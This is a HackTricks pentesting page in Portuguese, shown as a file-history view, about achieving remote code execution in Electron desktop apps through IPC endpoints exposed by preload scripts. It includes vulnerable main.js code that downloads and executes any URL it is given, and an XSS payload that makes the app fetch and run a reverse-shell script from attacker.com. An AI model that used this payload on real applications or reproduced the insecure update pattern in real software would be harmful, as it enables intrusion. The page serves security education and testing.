hacktricks/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-ipc.md

100 lines
4.4 KiB
Markdown
Raw Normal View History

2023-06-06 18:56:34 +00:00
Se o script de pré-carregamento expõe um ponto de extremidade IPC do arquivo main.js, o processo de renderização poderá acessá-lo e, se vulnerável, uma RCE pode ser possível.
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
**Todos esses exemplos foram retirados daqui** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
# Exemplo 1
2022-04-28 13:04:05 +00:00
2023-06-06 18:56:34 +00:00
Verifique como o `main.js` escuta `getUpdate` e **baixará e executará qualquer URL** passada.\
Verifique também como o `preload.js` **expõe qualquer evento IPC** do main.
2022-04-28 13:04:05 +00:00
```javascript
// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
console.log('getUpdate: ' + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
});
mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
console.log('downloads path=' + app.getPath('downloads'))
console.log('mainWindow.download_url=' + mainWindow.download_url);
url_parts = mainWindow.download_url.split('/')
filename = url_parts[url_parts.length-1]
mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
console.log('downloadPath=' + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)
item.on('updated', (event, state) => {
if (state === 'interrupted') {
console.log('Download is interrupted but can be resumed')
}
else if (state === 'progressing') {
if (item.isPaused()) console.log('Download is paused')
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})
item.once('done', (event, state) => {
if (state === 'completed') {
console.log('Download successful, running update')
fs.chmodSync(mainWindow.downloadPath, 0755);
var child = require('child_process').execFile;
child(mainWindow.downloadPath, function(err, data) {
if (err) { console.error(err); return; }
console.log(data.toString());
});
}
else console.log(`Download failed: ${state}`)
})
})
```
```javascript
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
```
2023-06-06 18:56:34 +00:00
Exploração:
2022-04-28 13:04:05 +00:00
```html
<script>
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
</script>
```
2023-06-06 18:56:34 +00:00
# Exemplo 2
2022-04-28 13:04:05 +00:00
2023-06-06 18:56:34 +00:00
Se o script de pré-carregamento expõe diretamente para o renderizador uma maneira de chamar shell.openExternal, é possível obter RCE.
2022-04-28 13:04:05 +00:00
```javascript
// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url);
};
```
2023-06-06 18:56:34 +00:00
# Exemplo 3
2022-04-28 13:04:05 +00:00
2023-06-06 18:56:34 +00:00
Se o script de pré-carregamento expõe maneiras de se comunicar completamente com o processo principal, um XSS será capaz de enviar qualquer evento. O impacto disso depende do que o processo principal expõe em termos de IPC.
2022-04-28 13:04:05 +00:00
```javascript
window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb);
};
window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
```
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>